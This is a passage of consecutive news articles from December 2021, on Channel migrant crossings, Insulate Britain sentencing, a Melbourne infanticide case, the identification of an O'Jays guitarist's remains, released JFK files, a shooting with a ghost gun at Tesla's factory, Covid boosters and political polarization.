NCA said. Dan O'Mahoney, Home Office clandestine Channel threat commander, said: 'The recent tragedy in the Channel is a devastating reminder of the dangers of Channel crossings choreographed by organised crime groups who are profiteering from these deadly and unnecessary Channel crossings. 'We work closely with our European and international partners and police, hand-in-glove, day in, day out to arrest, investigate and prosecute organised criminals, preventing numerous departures and saving lives. 'But this is a complicated issue and we are determined to do all we can to work with the NCA to tackle criminal gangs and prevent further loss of life.' The NCA alone has around 50 ongoing investigations linked to the top tiers of immigration crime and since the start of this year has been involved in more than 140 arrests. Mr Grace added: 'While the events of last month in which at least 27 people died were an absolute tragedy, unfortunately it was not a surprise when you consider the types of boats we have seen people being put in. Frankly, they are death traps. 'If you add that to the increasing crowding we are seeing on these vessels, and the poor weather and colder seas of winter, it all adds to a greatly increased risk. 'It demonstrates further to us that the people smugglers involved in these crossings don't care about the wellbeing of those they put on the boats. They don't care if they die. They just want to exploit their desperation for money. 'I would also reiterate our appeal from earlier in the year to those involved in the maritime industry, both here in the UK and on the Continent. 'Please be on alert, and if you have suspicions around the purchase of the kinds of items that can be used in these crossings, please report it.' It comes as conservative MP Sir Roger Gale said the military base chosen by the Home Office to process migrants in Kent has been described as an 'unworkable and unacceptable'. On Tuesday, the Home Office confirmed part of the Ministry of Defence (MoD) site in Manston, Kent, will be used as a 'processing site for illegal migrants by January 2022'. The secure site will be able to hold people 'for a maximum of five days while their security and initial asylum processing checks are undertaken'. Pictured: A group of migrants are brought into Dover accompanied by Border Force today Pictured: migrant makes 'V for victory' signs as he arrives in the UK after crossing the channel However, the announcement was not welcomed by the constituency's MP, Sir Roger Gale, who told the House of Commons the site was 'inappropriate'. Asking an urgent question, the MP for North Thanet said 'there is no indication as to how the site will accommodate these human beings, will be made secure or what facilities will be made available, other than statutory (rules) on the site medical services'. Sir Roger added: 'I have identified at least one clean, comfortable and secure operational vessel that can, if commissioned, meet the immediate and longer term need and I'm advised that there are others available. 'I will be grateful if the minister will now instruct the team to do as I've already requested, put this unacceptable and unworkable proposal on hold and properly, thoroughly and swiftly examine the viable alternatives. And if while doing so he will conduct the consultations that ought to have been held weeks ago.' Home Office minister Tom Pursglove confirmed a 'consultation is ongoing', adding: 'I would make the point again, we are having to respond to these challenges at pace. 'But that consultation is ongoing, including with local authorities, including with the NHS and of course including with him as the constituency Member of Parliament, and with the police.' Sir Roger was not the only MP concerned about welfare at the site. The SNPs' Chris Stephens (Glasgow South West) said: 'A cross-party report by the all-party parliamentary group on immigration detention called on the Government to end its military-style accommodation for asylum seekers, which it described as 'fundamentally unsuitable for survivors of war, torture or serious violence'. 'Why is the Home Office ignoring these warnings from parliamentary colleagues?' He added the Government had 'previously ignored warnings' of conditions at Napier Barracks which 'inevitably' led to a Covid outbreak, and also asked: 'Can the minister confirm the situation in Manston, that parts of that estate are currently condemned as a result of asbestos being on the site?' Mr Pursglove said: 'I would just make the point that I wouldn't consider that we are ignoring concerns that are raised. 'That is why I have set out for the House we have consistently been responsive, for example to the reports of the inspectors and where they made recommendations, we considered those recommendations and we acted appropriately.' The minister also said the Government would 'act entirely appropriately with safety at the forefront' in regards to asbestos at the site. Seven Insulate Britain protesters were 'surprised' to have been spared jail for blocking roads today - including a priest who told a judge she would go straight back to demonstrating if she walked free. Lord Justice Dingemans and Mr Justice Johnson handed down sentences at the Royal Courts of Justice in London today after National Highways took legal action against protesters. Dr. Diana Warner, 62, who yesterday failed to attend court while she blocked a train heading for Drax power station, accepted her guilt and was given a two month prison sentence. Dr. Ben Buse, 36, who has served 28 days of a four month sentence on an earlier charge of contempt of court, was ordered to serve a further 30 days consecutively. The remaining seven defendants all walked free from court today with suspended sentences. One of them, the Rev Sue Parfitt, 79, from Bristol, had drawn applause from members of the public inside the Royal Courts of Justice when she addressed the judge about her determination to continue protesting in the event she is not jailed. After sentences were handed down, Rev Parfitt said: 'I think we are surprised that seven of the sentences were suspended - but we are glad. I think it shows as things move on the idea of sending peaceful protesters to prison is a nonsense.' Police officers arrest priest and climate activist Rev Sue Parfitt near the M25, on 13 September Rev Parfitt, from Bristol, told the judge: 'Wasn't it worth me sitting on the motorways to flag (our) message, and to interrupt people's lives for an hour or so, in order to protect our children?' Rev Parfitt, from Bristol, had told the judge before sentencing: 'Wasn't it worth me sitting on the motorways to flag (our) message, and to interrupt people's lives for an hour or so, in order to protect our children? 'It is of no consequence to me what you do with me today. 'If you leave me at liberty, I shall continue to protest in whatever way most dramatically draws attention to the plight we are all in whether that involves breaking the law or not.' Insulate Britain said in a statement after today's hearing that seven demonstrators had been 'given the lightest possible sentences after being convicted of contempt of court for breaking the government's M25 injunction'. Steve Gower 54, Ruth Jarman 58, Richard Ramsden 75, Stephen Pritchard 62, Paul Sheeky 46 and Rev Parfitt were each given a two month sentence, suspended for two years, on condition that they do not break the government's motorway injunction in that time. Biff Whipster, 54, who was being charged with contempt in relation to two breaches of the government's injunctions was given a three month prison sentence, also suspended for two years. The seven were ordered to pay costs of 5,000 each, with the exception of Biff Whipster who must pay 6,000, Ben Buse who must pay an additional 2,500 on top of costs from his earlier hearing and Steve Gower who has been charged a lower tariff of 500. Insulate Britain said in a statement: 'The leniency of the sentences was in contrast to the jail terms of between three and six months handed out to the first group of people from Insulate Britain, convicted on November 17th.' Left to right: Paul Sheekey, Rev Sue Parfitt, Biff Whipster, Ruth Jarman, Steve Pritchard, Steve Gower, Richard Ramsde outside the High Court police officer asks Insulate Britain climate activists to move out of a slip road from the M25 which they had blocked on 13 September Myriam Stacey QC, for National Highways, said there was reason to believe there will be further disruption. 'Intelligence suggests they will resume in the spring of 2022,' she said. 'We asked for the source but we weren't told. But it stems from the police.' She added that 'numerous' previous media statements issued by Insulate Britain signalled their intention to defy the injunctions against the group's road blockades. Ms Stacey said: 'Insulate Britain appreciate the protests are in defiance of court orders, the breaches are deliberate and aimed at providing the protesters with the best possible platform, and the associated disruption was acknowledged but seen as a necessary corollary and proportionate to that goal.' She added: 'It is safe to infer that they intend to continue on the basis that the risks attached to breaking the court orders are worth the price of espousing the cause they feel so strongly about.' A personal blog penned by a young mother five years before she killed her infant daughter has revealed how her once-happy life spiralled into tragedy in the space of just three months. Melissa Arbuckle, 32, laid her three-month-old baby on train tracks at a Melbourne station in July, while in the grips of severe major postpartum depression and psychosis. Her little girl died while Arbuckle was seriously injured. Since giving birth, the new mother had been battling a personal struggle with her mental health, which, sadly, was diagnosed a day too late. But prior to the short three month decline, Arbuckle lived a successful, happy life as a well-respected veterinarian who travelled the world with her husband, Jed. Arbuckle's struggle is unfortunately not uncommon, with about one in every seven women who give birth in Australia each year developing postnatal depression. Melissa Arbuckle, 32, (pictured with her husband Jed) killed her three-month-old daughter in July while suffering from postnatal depression Five years ago, when she wrote a blog sharing her dream to have children with her partner, she had no way of knowing she would be one of them - or that it would have such a devastating outcome. In fact, she reported that she had never been 'unhappy' and said, for her, happiness lay in the simple things in life, like ensuring bills are paid, spending time with loved ones and friends, and travelling often. 'Ive never considered myself to be unhappy and Im incredibly fortunate to be able to say that, but there are certainly ways to strive to live a happier life,' Ms Arbuckle wrote. KNOWING THE SIGNS OF POSTPARTUM DEPRESSION There are many signs that someone may be struggling with postnatal depression. Some of the more common ones include: - having a very low mood - feeling inadequate and a failure as a mother - having a sense of hopelessness about the future - feeling exhausted, empty, sad and teary - feeling guilty, ashamed or worthless - feeling anxious or panicky having trouble sleeping - sleep for too long or have nightmares worrying excessively about their baby - feeling scared of being alone or going out In some cases, women may experience thoughts about leaving their family or worried that their partner may leave them. They could also have ideas about self-harm or doing harm to their partner or baby. In situations like this, you should seek professional help straight away. Source: HealthDirect Advertisement In 2016, Arbuckle, then known as Melissa Germano, started a page on WordPress dedicated to expressing gratitude towards the things in her life, frequently posting about her ambitions and beliefs in the importance of maintaining good health. In November of that year, she revealed she had undergone treatment after suffering from a condition affecting her uterus and how the incident had inspired her to begin taking her health seriously with the intention of one day having a family. 'This trip to hospital was the beginning of my journey to start focusing on my health. Im not getting any younger and I look forward to having a family of my own one day so I decided its time to take my health seriously,' she wrote. Arbuckle kept a personal blog, where she journaled about trips overseas with her husband Jed and her dreams of one day starting a family The couple's life appeared to be filled with adventure, with Arbuckle sharing photos and stories about their travels across Australia and Japan. She also previously blogged about her passion for animals and her time volunteering to teach young children about pet safety and responsible pet ownership. Arbuckle worked at a veterinary clinic in inner eastern Melbourne for several years. The University of Melbourne graduate also expressed that she was a believer in keeping a healthy mind and body and listed family as one of the most important things in her life. Reflecting on the new year in early 2017, she said the past 12 months had been the best in her life. '2016 was one of the most enjoyable and productive years of my life,' she wrote. 'I am so grateful for the experiences I had, my personal growth and the support and encouragement from my wonderful boyfriend Jed, my close friends and family.' But her once-thriving life tragically started to decline as she battled postpartum depression after the birth of her child. Moments before the tragedy, Arbuckle sent a message to her husband to let him know where they were out for a walk. Arbuckle (pictured) worked at a veterinary clinic in inner eastern Melbourne for several years The 32-year-old has pleaded guilty to killing her daughter and will face court again next week 'Muffin was losing it after feed so I've gone for a walk with her,' she wrote. Mum and baby then continued their walk where they waved at trains and texted the woman's mother and sister. Then Arbuckle began researching train speeds and timetables, an agreed summary released by Melbourne Magistrates' Court said, according to The Herald Sun. Around 5pm a train noticed Arbuckle acting 'suspicious' near train lines and activated the emergency brakes. The baby was struck and thrown under the carriage while Arbuckle was left with serious injuries. Witnesses rushed to help the pair and helped to pull out the still breathing baby. Arbuckle sent her husband (pictured together) a message moments before the tragedy telling him she was out walking with their daughter A train noticed Arbuckle acting 'suspicious' and activated the emergency brakes. The mother laid the baby on the tracks in front of the train (stock image) Emergency services arrived shortly after and found Arbuckle repeatedly hitting herself in the head with a stone. The baby girl died later that night at the Royal Children's Hospital after she was flown from the scene. The day before the incident Arbuckle shared she had been suffering from suicidal thoughts and was diagnosed with severe major postpartum depression and postpartum psychosis the day after. Arbuckle faced Melbourne Magistrates Court on Tuesday where she pleaded guilty to one count of infanticide for the incident in July. Magistrate Donna Bakos granted Arbuckle bail to reappear before the Victorian Supreme Court for a directions hearing on December 21. 'This is an extraordinarily tragic event and it's tragic for many, many people,' Ms Bakos said. For confidential 24-hour support in Australia call Lifeline on 13 11 14 or beyondblue 1300 22 4636. For postpartum depression support call PANDA on 1300 726 306. A murder victim whose bones were found almost 40 years ago in Ohio has been identified through DNA as missing O'Jays guitarist Frank Little Jr. Authorities used DNA and genealogical research to identify the remains of Frank 'Frankie' Little Jr, and identified him as their murder victim on Wednesday. Little, a Vietnam veteran who played with the O'Jays during the 1960s before leaving the band to pursue a woman, died of blunt force trauma. No motive has been shared, and cops have not pinpointed any possible suspects. After he was killed, his bones were stuffed in a garbage bag and dumped in a wooded area in Twinsburg, Ohio, where they were found in February 1982. It is unclear if Little had been reported missing to police. Little is believed to have been alive until at least the mid-1970s, with investigators hopeful of new leads now they've identified the victim. Little, who is survived by a son and multiple relatives in Ohio and Georgia, would be 78 if he were still alive today. The partial remains, which included a skull, were determined to have belonged to an African-American male, 20 to 35 years of age, approximately 5 feet 6 inches tall, and he may have had adolescent kyphosis, a curvature of the spine. Scroll down for video Frank 'Frankie' Little Jr (right), a former guitarist for the 1960s R&B group The O'Jays, has been identified as the John Doe whose skeletal remains were found in a garbage bag in Twinsburg, Ohio, in February 1982. Pictured on the left is a clay model of the victim's head Little was not a founding member of The O'Jays that began in Canton, Ohio, but wrote some of their songs. The group is pictured in this undated photo On February 18, 1982, human remains were found in a garbage bag dumped behind a business in Twinsburg, Ohio The partial skeletal remains were removed by police, and the case soon went cold Little, who was born in Cleveland in 1943, played with the the OJays in the mid-1960s. He was not a founding member of the group that began in Canton, Ohio, but wrote some of their songs. He was inducted into the Rock and Roll Hall of Fame in 2005. Little served in the US Army for two years, including in the Vietnam War, but not much was known about his disappearance, the Akron Beacon Journal reported. Walter Williams, one of the original members of the OJays, said Little wrote songs with Eddie Levert, another one of the bands founders, according to Twinsburg detective Eric Hendershott, who helped revive the investigation into the remains. 'Part of the mystery is over with, but we have no idea how he got there, how he disappeared or where he lived toward the end of his life,' Hendershott said. Levert described his former bandmate to News 5 Cleveland as loving and sentimental, and said he had the potential of making a name for himself in the music industry. John Doe's bones are pictured laid out at a medical examiner's office. It will be nearly 40 years before they are positively identified A non-profit volunteer organization has recently obtained DNA from the remains and used genetic genealogy to track down the victim's relatives, leading to Little's identification Little's remains showed signs of blunt-force trauma, leading a medical examiner to conclude that he died by homicide He said Little had briefly moved out to California with the O'Jays in the 1960s, but later returned to Cleveland, reportedly to pursue a romantic relationship. 'I never would have thought this would happen to him,' Levert said. 'I don't know why anyone would do him like that.' The case of the human remains in a garbage bag languished among the Twinburg Police Department's cold-case files for more than 20 years, until a detective in 2009 reopened it to conduct DNA testing. The DNA of the deceased man was plugged into the FBI's DNA database, but produced no matches. Over the next several years, a college professor made a sketch of John Doe's skull, and a forensic artist created a clay model of it to show what the man looked like when he was still alive. The O'Jays, including Little, were inducted into the Rock and Roll Hall of Fame in 2005. some of the band members are pictured circa 1965 The O'Jays are seen during a recording session in New York City, June 1965 According to a statement from the Twinsburg Police Department, ultimately the identification of the remains was made possible by the DNA Doe Project, a non-profit volunteer organization, which conducted genealogical research using the public genealogy databases GedMatch and Family Tree DNA. Margaret O'Sullivan, Little's cousin from Cleveland, was among the relatives who was contacted by investigators, asking if she had any missing family members. 'I said, 'Yes. I have a cousin named Frankie Little is missing,"' O'Sullivan said. 'We don't know what happened to him.' Little's brother living in Georgia submitted a DNA sample, which was analyzed by the Ohio Bureau of Criminal Investigation Crime Lab. His identity was then confirmed by Dr Kohler. Little had a daughter who died in 2012, and he has a son who has not yet been located or identified. The guitarist was last known to reside in the area of East 105th and Superior Avenue in Cleveland, and it is believed he was last alive in the mid-1970s. O'Sullivan, 79, said her family are grateful that her cousin has been identified and could now be laid to rest properly. 'Now we have closure,' she said. Advertisement More than 1,500 previously classified JFK assassination files have today been made public, including documents about killer Lee Harvey Oswald's contact with a KGB agent two months before the shooting. The files were released at noon on Wednesday by the National Archives, after months of delays by Biden who had promised to make them public but then stalled, claiming COVID backlogs was the reason. Not all of them are now public - some are still being held back for further review by the NSA until next December, a move that has been slammed by members of Kennedy's family. The documents released on Wednesday include memos detailing anonymous phone calls to the US embassy in Canberra, Australia, a year before the shooting, where the caller said the Soviet Government was plotting to kill Kennedy, and details of Oswald's meeting with a KGB agent at the Soviet Embassy in Mexico City two months before the shooting. Another call was placed on November 24, two days after the shooting, claiming the Russians were behind it. Among the files is a memo which reveals that the Naval Attache in Canberra, Australia, cabled the CIA in 1962 to report a crank call of someone warning that 'Iron Curtain countries' were plotting to pay a Polish chauffeur $100,000 to kill Kennedy. The call was dismissed as a crank. Oswald's wife Marina, who was was Russian, is referenced throughout the files. One details how a Moroccan student contacted the CIA after the shooting and claimed he had been her boyfriend. The relevance of that to the investigation is not known. There are also memos detailing interviews with communist activists in Mexico, who Oswald had met with, and details of how he tried to renounce his US citizenship to become Russian four years before the assassination. A 1963 memo written by CIA agent Tennent H. Bagley on November 23, 1963, the day after the assassination details how Oswald - whose wife was Russian - met with a KGB agent in September 1963 in Mexico City JFK and Jackie Kennedy are pictured in his car in Dallas, Texas, on November 22, 1963, moments before he was assassinated. Government files about his death that have been kept secret for 58 years will today be released Lee Harvey Oswald, a former Marine, was arrested for the assassination. He was then killed two days later while being transported by police. He was shot by a nightclub owner, Jack Ruby This CIA memo details Kostikov's background. He was assigned to the Soviet Embassy in Mexico City in 1961 and had also visited Cuba An October 1963 memo about Oswald had tried to renounce his US citizenship to become Russian in 1959. The CIA knew about him and that he had called the Soviet Embassy in the weeks before JFK was killed, this document reveals In September 1963, two months before he killed JFK, Oswald met with Consul Valeriy Vladimirovich Kostikov, a KGB agent in Mexico City. The meeting has been referred to in previous documents but new details emerged today. It's unclear who initiated the meeting. 'According to an intercepted phone call in Mexico City, Lee Oswald was at the Soviet Embassy there on 23 September 1963 and spoke with Consul Valeriy Vladimirovich. 'Oswald called the Soviet Embassy on 1 October, identifying himself by name and speaking broken Russian, stating the above and asking the guard who answered the phone whether there was 'anything concerning the telegram to Washington,' a memo, written by CIA officer Tennent H. Bagley wrote on November 23, 1963, the day after the assassination. A handwritten memo from May 1964 describes several tips that flowed into the CIA and State Department in the aftermath of the assassination, many of them seemingly from cranks. On November 24, 1963, two days after Kennedy was killed, the Naval Attache in Canberra, Australia cabled the CIA that someone claiming to be a Polish chauffer at the Soviet Union embassy had telephoned to report that 'probably' the Soviet government had financed the assassination. The Naval Attache said that a similar allegation had been made in an anonymous phone call on October 15, 1962, a year before the assassination, in which the caller stated that 'Iron Curtain Countries' planned to pay $100,000 for Kennedy to be killed. A handwritten memo from May 1964 describes several tips that flowed into the CIA and State Department in the aftermath of the assassination, many of them seemingly from cranks. On November 24, 1963, two days after Kennedy was killed, the Naval Attache in Canberra, Australia cabled the CIA that someone claiming to be a Polish chauffer at the Soviet Union embassy had telephoned to report that 'probably' the Soviet government had financed the assassination However, the memo notes that Australian security services considered the caller a 'crank' and were unable to identify any Polish employees at the Soviet embassy. 'Avail. evidence would tend to show caller was a crank but can't confirm this,' the memo states. There are mentions of Oswald's wife, Marina, who is Russian The memo also states that the US Embassy in Stockholm received a letter the day after the assassination, accusing the 'Communist Chinese of plotting the act'. A CIA analysis determined the anonymous letter was written by a Swede, using a Swedish keyboard typewriter. As well, the US Embassy in San Jose, Costa Rica received a letter in late November 1963 claiming the assassination was 'part of a plot to kill all presidents of the free world.' 'Letter was adjudged to be the work of a crank,' the memo states. 'No further info on the writer, signed Rodrigo C, has ever been received.' The tranche of released documents also included previously sealed files on Operation Mongoose, the CIA's plan to destabilize the Cuban government and remove Fidel Castro from power. Evolving from the failure of the Bay of Pigs invasion debacle in April 1961, Mongoose involved a wide range of plots for economic sabotage, espionage, and even proposals to garner public support for an invasion through 'false flag' attacks attributed to Cuba. The program fell apart in the wake of the October 1962 Cuban Missile Crisis. High-level US Mafia figures have long been rumored to have been involved in Mongoose, due to their connections in Cuba and anger at Castro for shutting down Mob-run casinos in Havana. Unsealed files from the 1975 Senate Select Committee on Intelligence Activities state that President Kennedy's brother, Attorney General Robert F. Kennedy, was part of the secret National Security Council group overseeing Mongoose. The report said Robert Kennedy was 'a vigorous participant in its activities and to many seemed the principal driving force.' Mongoose has long figured prominently in conspiracy theories involving the JFK assassination, including Oliver Stone's film portrayal of Oswald as involved in the program. Details of Lee Harvey Oswald's address book which contained the details of journalists in Moscow, including Aline Mosby, a famous trailblazing journalist who was one of the first female reporters to cover the Kremlin. The notes suggest she had Russian connections There are also previously classified files about Operation Mongoose, the US's attempt to overthrow the Cuban communist regime In this telling, Oswald was attached to the CIA, and his overt pro-Castro activities were actually attempts to infiltrate Communist groups. However, the documents released on Wednesday do not reveal any such connection, and include testimony from Mongoose chief of operations Edward Lansdale denying any Mafia connection to the program. The files are not expected to include any bombshells about the 1963 Dallas assassination, but will shed more light on what happened that day and the government's investigation into it. The files were collected by a review board that was established by Congress in 1992. Their investigation was finalized in 1997 and they issued a report, but thousands of documents were held back by the government. The Kennedy family is among those who have repeatedly called for the documents to be made public. Earlier this year, Robert F. Kennedy Jr., JFK's nephew, fumed that some of the files would remain secret until next year. The files that will remain secret until next December have been flagged by national security agencies for further review. 'Its an outrage. Its an outrage against American democracy. Were not supposed to have secret governments within the government. 'How the hell is it 58 years later, and what in the world could justify not releasing these documents?' RFK Jr. told Politico in October. Former Rep. Patrick Kennedy, the son of longtime Biden friend late Sen. Ted Kennedy, also slammed the decision to hold some of the files back. 'I think for the good of the country, everything has to be put out there so theres greater understanding of our history,' he said. Kennedy said it was a time of 'a lot of conspiracy theories' and noted there is 'a tendency to distrust government in general.' Conspiracy theorists continue to question why the government wants to keep some of the files redacted. President Biden (pictured this morning) had promised to make the files public in October, but he delayed the release citing COVID backlogs at the National Archives JFK was sitting in the backseat of a convertible with First Lady Jackie Kennedy when he was shot in the neck at 12.30pm. He was taken to the hospital but was pronounced dead 30 minutes later. Lee Harvey Oswald was arrested in a theater a short time later. He denied shooting Kennedy in police interviews, and was also charged with shooting police officer J.D. Tippit. Oswald, a former Marine and Marxism enthusiast, was shot and killed two days later while being transported by police. He was killed by local Dallas nightclub owner Jack Ruby, and the murder was witnessed by the media and policemen. He claimed that his rage over Kennedy's assassination is what motivated him. The files were always meant to be made public within 25 years of the assassination under the JFK Records Act, but Biden delayed their release earlier this year, citing COVID back-logs as the reason. President Trump agreed to make 10,000 public when he was in office, but they were mostly redacted. Historians and experts do not believe that Wednesday's dump of files will contain any bombshells or revelations about the assassination but because of the secrecy that has surrounded them, there is still suspicion that the government isn't telling the public everything. 'Because it has taken [the government] so long to get these records out, no matter what comes out, no one is going to believe that that's it,' one official told CNN on Wednesday ahead of the release. A Tesla employee has been arrested on suspicion of murder after he argued with a co-worker and then allegedly shot him outside the company's Fremont factory in Northern California. Anthony Solima, 29, armed himself with an untraceable 'ghost gun' after 'suddenly walking off' in the middle of his shift on Monday, police said. He shot his co-worker in the parking lot shortly after the unidentified victim left the factory at the end of his shift, investigators said. Detectives did not say what had caused the argument between Solima and his colleague. Solima, of Milpitas, was arrested on a homicide warrant on Monday. He is due to be arraigned on Thursday. Police and emergency teams outside the Tesla factory in Fremont on Monday afternoon Firefighters rushed to the parking lot in the 45000 block of Fremont Boulevard 3.26pm. They found the victim unresponsive with at least one gunshot wound and immediately called the cops. He was pronounced by paramedics a short time later. Police recovered .223-caliber rifle casings at the scene. 'Within several hours, detectives developed leads on a potential suspect who also worked with the victim,' police said. Detectives tracked Solima to Milpitas and tailed him 'until an opportunity presented itself to arrest [him] when he exited his vehicle.' The suspect surrendered to cops who found a loaded, non-serialized, .223-caliber, short-barrel rifle in his car. Police confirmed to The Los Angeles Times that the weapon was a ghost gun. These are typically made from 3-D printed plastic parts and can be assembled at home using kits. Police outside the Tesla factory on Monday evening They are not made by licensed manufacturers so they do not carry serial numbers, making them impossible to trace. Experts have warned these homemade guns are increasingly being used in crimes. More than 40 percent of guns seized in LA are ghost guns, according to federal firearms officials. Solima, of Milpitas, is due to be arraigned on Thursday. Australians should be eligible for a Covid booster shot just two months after getting their second vaccine dose to help battle the country's growing case load, a top epidemiologist has said. As it stands, 88 per cent of Australians are blocked from getting the much-needed booster shots - which studies show are vital to stopping the new Omicron variant - thanks to the current five month waiting period. The Federal Government announced the mandatory waiting period earlier this week, dropped from six weeks, but now scientists are recommending the period be cut back to just two months. In NSW, there are increasing fears the Omicron variant and a population who haven't had a booster jab could spell disaster for Christmas, as another popular pub in Newcastle is put on alert after being visited by suspected cases. Anyone who attended The Cambridge Hotel in Newcastle on December 10 from 6.30pm to 2.30 is a close contact and must get tested and isolate for seven days. The series of superspreader events in the city, which began when an infected person from a Sydney Harbour boat cruise went to a Newcastle club, has sparked urgent calls for boosters to be administered sooner. In the UK, which is rolling out a nationwide campaign to get all adults triple jabbed by New Year, the waiting period is currently three months after a second jab. The Australian Federal Government has blocked almost 88 per cent of Australians from getting a booster shot before Christmas thanks to a mandatory waiting period (pictured, Christmas shoppers in Sydney's Pitt Street) Leading Covid vaccination experts say the mandatory waiting period should be reduced from five months to two to protect against Omicron (pictured, a woman being vaccinated in Melbourne) Poll How long should an adult have to wait between a second vaccine dose and a booster? Six months Five months Three months Get it on demand How long should an adult have to wait between a second vaccine dose and a booster? Six months 93 votes Five months 39 votes Three months 84 votes Get it on demand 72 votes Now share your opinion Professor Raina MacIntyre from the World Health Organisation said the benefits of boosters against Omicron was highlighted by the first study Australia conducted on its effectiveness against variants. She said Australians need to receive their third doses as quickly and effectively as possible to fight against the new variant. 'A five-to-six month wait is a long time while cases are surging, and we need to proactively allow boosting at two-to-six months,' she told The West Australian. Studies at University of NSW's Kirby Institute found that booster shots of mRNA vaccines like Pfizer and Moderna provide up to 98 per cent protection against severe disease and hospitalisation related to Omicron. Associate Professor Stuart Turville, who led the Kirby Institute study, said Omicron will take over as the dominant variant of COVID-19. 'We should expect to see significant community spread,' he said. Studies at University of NSW's Kirby Institute found that booster shots of mRNA vaccines like Pfizer and Moderna provide up to 98 per cent protection against severe disease and hospitalisation related to Omicron 'Day by day we'll know more, but for now, people should follow government advice.' By Christmas Day 84 per cent of Australian adults will still be blocked from getting their booster shot. It comes as NSW Health predicted up to 25,000 cases a day by the end of January and Australian Medical Association warning the booster rollout isn't up to the job. On Tuesday, one Sydney man attempted to get a booster jab 13 days early but was repeatedly refused. The man is eligible on December 27, when clinics are closed for Christmas holidays. Now the nation faces a population going to Christmas parties and mixing with families while vulnerable to the new Omicron strain - and often without masks. Now the nation faces a population socialising over Christmas while vulnerable to the new Omicron strain with NSW Health preparing for 25,000 cases a day by the end of January On Wednesday, NSW reported 1360 new cases, up from 795 in 24 hours, on the day almost all Covid restrictions were axed in the state despite the new variant's arrival. In Victoria, cases remain around 1,000-1,400 a day but officials are expecting a massive surge if Omicron takes hold. There has been a bitter reaction on social media as many - especially younger adults who were last in line for the vaccine - now face anxious months without a booster. ABC identity Marieke Hardy tweeted on Wednesday: 'This is slightly terrifying. 'I'm not due for a booster until February...Are the rest of us double vaxxed and waiting just supposed to stay indoors for the next two months??' One of her followers insisted: 'We should be getting boosters three months after second shot.' But another admitted they had also been turned away while trying to get their booster early: 'I spoke to the chemist yesterday who gave me my second AZ and she said they can't give me the third based on the five month advice.' Many were furious that they had gone with AstraZeneca after being prompted by Scott Morrison (pictured) only for it to have limited resilience against the new strain and leaving them exposed while they wait to be eligible for the booster Another said: 'Late January for me. I asked if I could bring it forward and was told by my GPs receptionist that they had to adhere to the rules. 'Well, I say change the rules!' Others said they would play safe until the booster was available. 'I will hibernate until middle January before I get my booster,' said one. 'I'm feeling all what we went through over the last two year was for naught. 'The neo-cons got their way and will let it rip.' Some said they were prepared to wait it out until they were eligible but were told they couldn't get a confirmed booking at this stage because of stock issues. Many were furious that they had gone with the Astra Zeneca option only for it to have limited resilience against the new strain and they are exposed while they wait to be eligible for the booster. Daily Mail Australia has contacted the Department of Health for comment. Michael Macy, Distinguished Professor of Arts and Sciences in Sociology and director of the Social Dynamics Laboratory in the College of Arts and Sciences, was the lead author on the study As political polarization continues in the United States, a study produced by Ivy League sociologists suggests the nation may be spiraling toward a point of no return. A study led by Cornell Professor Michael Macy claims to have identified a tipping point, beyond which the divide between Democrats and Republicans will become irreversible. The study, titled 'Polarization and Tipping Points' was published Wednesday in the Proceedings of the National Academy of Sciences. The researchers' model shows the role party identity and levels of intolerance for disagreement have on ideological extremism and partisan divides. 'We found that polarization increases incrementally only up to a point,' said lead author Michael Macy, Distinguished Professor of Arts and Sciences in Sociology and director of the Social Dynamics Laboratory in the College of Arts and Sciences. A new study shows that political polarization - exemplified by groups like the Proud Boys and pro-defund the police liberals - could get to a tipping point where it becomes irreversible 'Above this point, there is a sudden change in the very fabric of the institution, like the change from water to steam when the temperature exceeds the boiling point.' Macy pointed to divergent attitudes in America over the pandemic or against global warming as prime examples. 'Instead of uniting against a common threat,' said Macy, 'the threat itself becomes yet another polarizing issue.' Researchers call this event a 'shock' that initially brings people together, but if America's polarization is too extreme, the effects of that shared shock get taken over by the existing divisions. 'If we reach that point, we cannot unite even in the face of war, climate change, pandemics, or other challenges to the survival of our society,' said co-author Boleslaw Szymanski, a professor of computer science and director a Rensselaer Polytechnic Institute. One of the Proceedings of the National Academy of Sciences shows that when a shock event happens, there is a brief moment where polarization decreases, but eventually it becomes overtaken by a person's pre-existing ideologies Further study shows just how much extremism could increase given the current track of the country Szymanski developed a model to study the interactions of lawmakers in the country's two-party system. It is not meant to specifically mirror Congress but was trained using data and research comparing its outcomes to Congressional voting records. It used varying positions on 10 divisive issues, like gun control or abortion. The model accurately predicted the shift against unity in 28 of its 30 models. What their research found was that over time, legislators will move on positions as they respond to the moves of their political allies and opponents. 'The process resembles a meltdown in a nuclear reactor,' said Macy. 'Up to a point, technicians can bring the core temperature back down by increasing the flow of water used to cool the reactor. But if the temperature goes critical, there is a runaway reaction that cannot be stopped. 'Our study shows that something very similar can happen in a 'political reactor.' The voters are like the nuclear technicians. It's up to us to bring the political temperature back down before it is too late.' The study showed that, when accounting for polarization on issues like criminal justice, Congressional representatives will join forces with like-minded allies and against partisan opponents There have been recent examples of the growing polarization. A survey from Redfin, a real-estate brokerage firm based in Seattle, predicted more people would vote with their feet in 2022, moving to states that align with their political beliefs about abortion, civil rights, mask and vaccine mandates and critical race theory. 'Now that workers have more control over where they live, more people will seek out areas where there are like minded people with laws that fit their political beliefs,' wrote Daryl Fairweather, chief economist for Redfin. Ray Dalio predicts there is a 30 per cent chance of US Civil War in the next decade in his new book 'Principles for Dealing with the Changing World Order: Why Nations Succeed and Fail' 'We will also see more blue enclaves grow within red areas and vice versa, as parents select school districts that align with their preferences regarding mask mandates, critical race theory and other controversial issues.' Billionaire Ray Dalio predicts there is a 30 per cent chance of US Civil War in the next ten years because of 'emotional' political polarization, but says the Constitution will probably save the nation. Dalio is the founder of the world's largest hedge fund firm, Bridgewater Associates. This year he was ranked as the 88th richest person in the world with a net worth of $20.3 billion. He makes his bold claims in his new book, 'Principles for Dealing with the Changing World Order: Why Nations Succeed and Fail,' which was published on November 30. Dalio explains that he believes there is a 'dangerously high risk' that the country will have a civil war within in the next ten years and points to the rules of governance being 'ignored' and the 'exceptional amount of polarization' currently seen in the country. Nicola Sturgeon will hold showdown coronavirus talks with Michael Gove this afternoon as she demands more funding from the Treasury and urges the UK Government to follow her lead and toughen restrictions. Mr Gove, the Communities Secretary, will chair a meeting of the COBRA committee with the leaders of the devolved administrations to discuss the UK response to the Omicron variant. The meeting comes one day after Ms Sturgeon announced new rules for people in Scotland to restrict their socialising to three households before and after Christmas. The Scottish First Minister said restricting contact is necessary because 'Omicron is spreading very fast' and she believes the UK Government should also be introducing further curbs. Boris Johnson triggered his Plan B for England last week which requires masks to be worn in some indoor settings and for people to have to 